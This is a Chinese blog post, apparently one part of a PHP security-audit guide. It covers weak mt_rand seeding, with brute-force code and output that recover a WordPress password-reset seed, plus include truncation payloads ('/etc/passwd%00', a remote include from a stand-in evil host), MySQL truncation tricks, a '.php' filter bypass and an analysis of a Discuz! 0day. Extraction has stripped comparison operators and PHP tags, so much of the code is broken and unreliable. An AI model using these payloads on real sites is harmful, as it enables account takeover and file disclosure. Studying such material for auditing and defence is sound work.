ITPub博客

首页 > IT职业 > IT图书 > PHP脚本审计(二)

PHP脚本审计(二)

IT图书 作者:田野 时间:2021-09-09 09:19:07 0 删除 编辑

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand
(PHP 3>=3.0.6, PHP 4, PHP 5)

mt_srand
--播下一个更好的随机数发生器种子
说明
void mt_srand (int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

php
// seed with microseconds
function make_seed()
{
   list
($usec, $sec)= explode(' ', microtime());
return(float) $sec +((float) $usec *100000);
}
mt_srand
(make_seed());
$randval
= mt_rand();
?>

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime()*1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

00

那么很容易暴力破解,测试代码如下:

php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set
("max_execution_time",0);
$time
=(double) microtime()*1000000;
print $time."n";
mt_srand
($time);

$search_id
= mt_rand();
$seed
= search_seed($search_id);
print $seed;
function search_seed($rand_num){
$max
=1000000;
for($seed=0;$seed$max;$seed++){
       mt_srand
($seed);
       $key
= mt_rand();
if($key==$rand_num)return $seed;
}
returnfalse;
}
?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:


seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3



seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3


对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5

php
mt_srand
(4);
$a
= mt_rand();
mt_srand
(5);
$b
= mt_rand();
print $a."n".$b;
?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define
('BUGGY',1);//上面代码$a==$b时候定义BUGGY=1

$key
= wp_generate_password(20,false);
echo $key
."n";
$seed
= getseed($key);
print $seed."n";

mt_srand
($seed);
$pass
= wp_generate_password(20,false);
echo $pass
."n";

function wp_generate_password($length =12, $special_chars =true){
       $chars
='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if( $special_chars )
               $chars
.='!@#$%^&*()';

       $password
='';
for( $i =0; $i $length; $i++)
               $password
.= substr($chars, mt_rand(0, strlen($chars)-1),1);
return $password;
}

function getseed($resetkey){
       $max
= pow(2,(32-BUGGY));
for($x=0;$x$max;$x++){
               $seed
= BUGGY ?($x 1)+1: $x;
               mt_srand
($seed);
               $testkey
= wp_generate_password(20,false);
if($testkey==$resetkey){ echo "on";return $seed;}

if(!($x %10000)) echo $x /10000;
}
       echo
"n";
returnfalse;
}
?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

php
mt_srand
(42);
echo mt_rand
();
//php
//php>5.20 1354439493          
?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)


漏洞审计策略
PHP版本要求:php4 php5系统要求:无
审计策略:查找mt_srand/mt_rand


特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断
php 
include $_GET
['action'].".php";
?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

php
////////////////////
////var5.php代码:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);  
///////////////////
ini_set
('max_execution_time',0);
$str
='';
for($i=0;$i50000;$i++)
{
       $str
=$str."/";

       $resp
=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if(strpos($resp,'hi')!==false){
print $i;
exit;
}
}
?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql
> insert into truncated_test(`username`,`password`) values("admin           x","new_pass");
Query OK,1 row affected,1 warning (0.01 sec)

mysql
>select*from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|1| admin      |pass|
|2| admin      | new_pass |
+----+------------+----------+
2 rows inset(0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1),"new_pass2");
Query OK,1 row affected,1 warning (0.00 sec)

mysql
>select*from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
|1| admin      |pass|
|2| admin      | new_pass  |
|3| admin      | new_pass2 |
+----+------------+----------+
2 rows inset(0.00 sec)

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)){
die("already exist");
}


漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码


文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“...”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:

//Is this code vul?
if( eregi(".php",$url)){
die("ERR");
}
$fileurl
=str_replace($webdb[www_url],"",$url);
.....
header
('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url)){
die("ERR");
}

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

php
for($i=0;$i255;$i++){
       $url
='1.ph'.chr($i);
       $tmp
=@file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>

我们在windows系统运行上面的代码得到如下字符* ? P p都可以打开目录下的1.php。


漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数


怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典

  • 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式

  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来

  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)

  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题

  • 你有什么要补充的吗? :)


DEMO


DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)
PHP版本要求:php4 php5系统要求: 无
审计策略:查找mt_srand/mt_rand


第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in'mt_srand'-r ./--colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible']&& $name = rawurlencode($name);
./include/global.func.php-695-return'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric =0){
./include/global.func.php:699:  PHP_VERSION '4.2.0'&& mt_srand((double)microtime()*1000000);
./include/global.func.php-700-if($numeric){
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length)-1));
./include/global.func.php-702-}else{
./include/global.func.php-703-          $hash ='';
./include/global.func.php-704-          $chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes'])||!is_array($_DCACHE['bbcodes'])||!is_array($_DCACHE['smilies'])){
./include/discuzcode.func.php-32-@include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime()*1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid,&$postlist){
./include/discuzcode.func.php-38-global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-if($attach['attachimg']){

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

 PHP_VERSION 

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime()*1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

后话

本文是集体智慧的结晶。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

附录

[1]http://bbs.phpchina.com/attachment.php?aid=22294
[2]http://www.php-security.org/
[3]http://bugs.php.net/bug.php?id=40114


来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/3522/viewspace-2802101/ ,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2019-07-09

  • 博文量
    80
  • 访问量
    759